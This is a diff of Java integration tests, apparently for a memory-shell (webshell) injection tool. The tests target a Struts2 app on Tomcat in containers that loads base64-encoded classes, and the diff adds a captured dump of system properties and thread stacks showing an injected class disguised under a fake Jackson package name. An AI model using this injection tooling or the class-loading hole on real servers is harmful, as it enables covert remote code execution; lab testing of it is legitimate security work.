.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
String server = Server.Struct2;
List<String> supportedShellTypes = List.of(ShellType.ACTION);
List<Packers> testPackers = List.of(Packers.ScriptEngine);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Struct2, shellType, shellTool, Opcodes.V1_8, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.ACTION})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Struct2, shellType, Opcodes.V1_8);
}
}
@@ -39,7 +39,7 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Slf4j
@Testcontainers
public class Wildfly9ContainerTest {
public static final String imageName = "jboss/wildfly:10.0.0.Final";
public static final String imageName = "jboss/wildfly:9.0.1.Final";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
@@ -0,0 +1,73 @@
package com.reajason.javaweb.integration.probe.struct2;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.junit.jupiter.api.Test;
import org.objectweb.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.struct2WarFile;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2024/12/4
*/
@Slf4j
@Testcontainers
public class Struct2ContainerTest {
public static final String imageName = "tomcat:8-jre8";
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(struct2WarFile, "/usr/local/tomcat/webapps/app.war")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
@Test
void testJDK() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
assertEquals("JRE|1.8.0_402|52", data);
}
@Test
@SneakyThrows
void testBasicInfo() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
}
@Test
void testServerDetection() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
assertEquals(Server.Tomcat, data);
}
@Test
@SneakyThrows
void testCommandReqHeaderResponseBody() {
String url = getUrl(container);
ProbeAssertion.responseCommandIsOk(url, Server.Struct2, Opcodes.V1_8);
}
@Test
@SneakyThrows
void testScriptEngineReqHeaderResponseBody() {
String url = getUrl(container);
ProbeAssertion.responseScriptEngineIsOk(url, Server.Struct2, Opcodes.V1_8);
}
}
@@ -30,7 +30,7 @@ import static org.junit.jupiter.api.Assertions.assertEquals;
@Slf4j
@Testcontainers
public class Wildfly9ContainerTest {
public static final String imageName = "jboss/wildfly:10.0.0.Final";
public static final String imageName = "jboss/wildfly:9.0.1.Final";
@Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
@@ -0,0 +1,475 @@
# Generated At 2025-12-08 15:18:17
SystemProps:
java.vendor: Temurin
sun.java.launcher: SUN_STANDARD
catalina.base: /usr/local/tomcat
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
catalina.useNaming: true
os.name: Linux
sun.boot.class.path: /opt/java/openjdk/lib/resources.jar:/opt/java/openjdk/lib/rt.jar:/opt/java/openjdk/lib/sunrsasign.jar:/opt/java/openjdk/lib/jsse.jar:/opt/java/openjdk/lib/jce.jar:/opt/java/openjdk/lib/charsets.jar:/opt/java/openjdk/lib/jfr.jar:/opt/java/openjdk/classes
java.util.logging.config.file: /usr/local/tomcat/conf/logging.properties
org.apache.el.GET_CLASSLOADER_USE_PRIVILEGED: false
java.vm.specification.vendor: Oracle Corporation
java.runtime.version: 1.8.0_402-b06
user.name: root
tomcat.util.scan.StandardJarScanFilter.jarsToScan: log4j-taglib*.jar,log4j-web*.jar,log4javascript*.jar,slf4j-taglib*.jar
shared.loader:
tomcat.util.buf.StringCache.byte.enabled: true
java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory
user.language: en
sun.boot.library.path: /opt/java/openjdk/lib/aarch64
jdk.tls.ephemeralDHKeySize: 2048
java.version: 1.8.0_402
java.util.logging.manager: org.apache.juli.ClassLoaderLogManager
user.timezone: Etc/UTC
sun.arch.data.model: 64
java.util.concurrent.ForkJoinPool.common.threadFactory: org.apache.catalina.startup.SafeForkJoinWorkerThreadFactory
java.endorsed.dirs: /opt/java/openjdk/lib/endorsed
sun.cpu.isalist:
sun.jnu.encoding: UTF-8
file.encoding.pkg: sun.io
package.access: sun.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.tomcat.
file.separator: /
java.specification.name: Java Platform API Specification
java.class.version: 52.0
user.country: US
java.home: /opt/java/openjdk
java.vm.info: mixed mode
os.version: 6.17.8-orbstack-00308-g8f9c941121b1
path.separator: :
java.vm.version: 25.402-b06
java.protocol.handler.pkgs: org.apache.catalina.webresources
java.awt.printerjob: sun.print.PSPrinterJob
sun.io.unicode.encoding: UnicodeLittle
java.specification.maintenance.version: 5
awt.toolkit: sun.awt.X11.XToolkit
package.definition: sun.,java.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.naming.,org.apache.tomcat.
java.naming.factory.url.pkgs: org.apache.naming
user.home: /root
org.apache.catalina.security.SecurityListener.UMASK: 0027
java.specification.vendor: Oracle Corporation
tomcat.util.scan.StandardJarScanFilter.jarsToSkip: annotations-api.jar,ant-junit*.jar,ant-launcher*.jar,ant*.jar,asm-*.jar,aspectj*.jar,bcel*.jar,biz.aQute.bnd*.jar,bootstrap.jar,catalina-ant.jar,catalina-ha.jar,catalina-storeconfig.jar,catalina-tribes.jar,catalina-ws.jar,catalina.jar,cglib-*.jar,cobertura-*.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-compress*.jar,commons-daemon.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,derby-*.jar,dom4j-*.jar,easymock-*.jar,ecj-*.jar,el-api.jar,geronimo-spec-jaxrpc*.jar,h2*.jar,ha-api-*.jar,hamcrest-*.jar,hibernate*.jar,httpclient*.jar,icu4j-*.jar,jasper-el.jar,jasper.jar,jaspic-api.jar,jaxb-*.jar,jaxen-*.jar,jaxws-rt-*.jar,jdom-*.jar,jetty-*.jar,jmx-tools.jar,jmx.jar,jsp-api.jar,jstl.jar,jta*.jar,junit-*.jar,junit.jar,log4j*.jar,mail*.jar,objenesis-*.jar,oraclepki.jar,org.hamcrest.core_*.jar,org.junit_*.jar,oro-*.jar,servlet-api-*.jar,servlet-api.jar,slf4j*.jar,taglibs-standard-spec-*.jar,tagsoup-*.jar,tomcat-api.jar,tomcat-coyote.jar,tomcat-dbcp.jar,tomcat-i18n-*.jar,tomcat-jdbc.jar,tomcat-jni.jar,tomcat-juli-adapters.jar,tomcat-juli.jar,tomcat-util-scan.jar,tomcat-util.jar,tomcat-websocket.jar,tools.jar,unboundid-ldapsdk-*.jar,websocket-api.jar,wsdl4j*.jar,xercesImpl.jar,xml-apis.jar,xmlParserAPIs-*.jar,xmlParserAPIs.jar,xom-*.jar
java.library.path: /usr/local/tomcat/native-jni-lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib
java.vendor.url: https://adoptium.net/
java.vm.vendor: Temurin
common.loader: "${catalina.base}/lib","${catalina.base}/lib/*.jar","${catalina.home}/lib","${catalina.home}/lib/*.jar"
java.runtime.name: OpenJDK Runtime Environment
sun.java.command: org.apache.catalina.startup.Bootstrap start
java.class.path: /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar
java.vm.specification.name: Java Virtual Machine Specification
java.vm.specification.version: 1.8
catalina.home: /usr/local/tomcat
sun.cpu.endian: little
sun.os.patch.level: unknown
java.io.tmpdir: /usr/local/tomcat/temp
java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
server.loader:
os.arch: aarch64
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
java.ext.dirs: /opt/java/openjdk/lib/ext:/usr/java/packages/lib/ext
user.dir: /usr/local/tomcat
line.separator:
java.vm.name: OpenJDK 64-Bit Server VM
ignore.endorsed.dirs:
file.encoding: UTF-8
java.specification.version: 1.8
===========================================
ThreadStacks:
"Signal Dispatcher" #4 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"http-nio-8080-exec-8" #24 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.lang.Thread.dumpThreads(Native Method)
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
at com.fasterxml.jackson.ZsoNQ.ErrorHandler.toString(BasicInfoPrinter.java:26)
at java.lang.String.valueOf(String.java:2994)
at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:243)
at Base64ClassLoaderAction.execute(Base64ClassLoaderAction.java:38)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at ognl.OgnlRuntime.invokeMethodInsideSandbox(OgnlRuntime.java:1266)
at ognl.OgnlRuntime.invokeMethod(OgnlRuntime.java:1251)
at ognl.OgnlRuntime.callAppropriateMethod(OgnlRuntime.java:1969)
at ognl.ObjectMethodAccessor.callMethod(ObjectMethodAccessor.java:68)
at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethodWithDebugInfo(XWorkMethodAccessor.java:98)
at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethod(XWorkMethodAccessor.java:90)
at ognl.OgnlRuntime.callMethod(OgnlRuntime.java:2045)
at ognl.ASTMethod.getValueBody(ASTMethod.java:97)
at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
at ognl.SimpleNode.getValue(SimpleNode.java:258)
at ognl.Ognl.getValue(Ognl.java:537)
at ognl.Ognl.getValue(Ognl.java:501)
at com.opensymphony.xwork2.ognl.OgnlUtil$3.execute(OgnlUtil.java:492)
at com.opensymphony.xwork2.ognl.OgnlUtil.compileAndExecuteMethod(OgnlUtil.java:544)
at com.opensymphony.xwork2.ognl.OgnlUtil.callMethod(OgnlUtil.java:490)
at com.opensymphony.xwork2.DefaultActionInvocation.invokeAction(DefaultActionInvocation.java:438)
at com.opensymphony.xwork2.DefaultActionInvocation.invokeActionOnly(DefaultActionInvocation.java:293)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:254)
at org.apache.struts2.interceptor.debugging.DebuggingInterceptor.intercept(DebuggingInterceptor.java:250)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
at com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor.doIntercept(DefaultWorkflowInterceptor.java:179)
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
at com.opensymphony.xwork2.validator.ValidationInterceptor.doIntercept(ValidationInterceptor.java:263)
at org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor.doIntercept(AnnotationValidationInterceptor.java:49)
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
at com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor.doIntercept(ConversionErrorInterceptor.java:142)
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:140)
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:140)
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
at com.opensymphony.xwork2.interceptor.StaticParametersInterceptor.intercept(StaticParametersInterceptor.java:201)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
at org.apache.struts2.interceptor.MultiselectInterceptor.intercept(MultiselectInterceptor.java:67)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
at org.apache.struts2.interceptor.DateTextFieldInterceptor.intercept(DateTextFieldInterceptor.java:133)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
at org.apache.struts2.interceptor.CheckboxInterceptor.intercept(CheckboxInterceptor.java:89)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
at org.apache.struts2.interceptor.FileUploadInterceptor.intercept(FileUploadInterceptor.java:243)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
at com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor.intercept(ModelDrivenInterceptor.java:101)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
at com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor.intercept(ScopedModelDrivenInterceptor.java:142)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
at com.opensymphony.xwork2.interceptor.ChainingInterceptor.intercept(ChainingInterceptor.java:160)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
at com.opensymphony.xwork2.interceptor.PrepareInterceptor.doIntercept(PrepareInterceptor.java:175)
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
at org.apache.struts2.interceptor.I18nInterceptor.intercept(I18nInterceptor.java:121)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
at org.apache.struts2.interceptor.ServletConfigInterceptor.intercept(ServletConfigInterceptor.java:167)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
at com.opensymphony.xwork2.interceptor.AliasInterceptor.intercept(AliasInterceptor.java:228)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
at com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor.intercept(ExceptionMappingInterceptor.java:196)
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
at org.apache.struts2.factory.StrutsActionProxy.execute(StrutsActionProxy.java:48)
at org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:574)
at org.apache.struts2.dispatcher.ExecuteOperations.executeAction(ExecuteOperations.java:79)
at org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:141)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:181)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:156)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:168)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:483)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93)
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:679)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:346)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:617)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:934)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1690)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
at java.lang.Thread.run(Thread.java:750)
"http-nio-8080-exec-6" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
at java.lang.Thread.run(Thread.java:750)
"AsyncFileHandlerWriter-1" #12 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@44aea3d6
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
at java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:492)
at java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:680)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
"http-nio-8080-AsyncTimeout" #29 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
at java.lang.Thread.sleep(Native Method)
at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1291)
at java.lang.Thread.run(Thread.java:750)
"http-nio-8080-exec-10" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
at java.lang.Thread.run(Thread.java:750)
"Catalina-startStop-1" #14 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@259b735f
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
"localhost-startStop-1" #15 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@42ede5b2
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
"http-nio-8080-exec-5" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
at java.lang.Thread.run(Thread.java:750)
"http-nio-8080-exec-2" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
at java.lang.Thread.run(Thread.java:750)
"GC Daemon" #13 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@6e2b855c
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at sun.misc.GC$Daemon.run(GC.java:117)
"http-nio-8080-exec-9" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
at java.lang.Thread.run(Thread.java:750)
"http-nio-8080-exec-4" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
at java.lang.Thread.run(Thread.java:750)
"http-nio-8080-exec-7" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
at java.lang.Thread.run(Thread.java:750)
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@5faa2b5c
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:502)
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
"http-nio-8080-Acceptor" #28 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:449)
at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:63)
at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:129)
at java.lang.Thread.run(Thread.java:750)
"ContainerBackgroundProcessor[StandardEngine[Catalina]]" #16 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
at java.lang.Thread.sleep(Native Method)
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1300)
at java.lang.Thread.run(Thread.java:750)
"main" #1 [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
at java.net.ServerSocket.accept(ServerSocket.java:528)
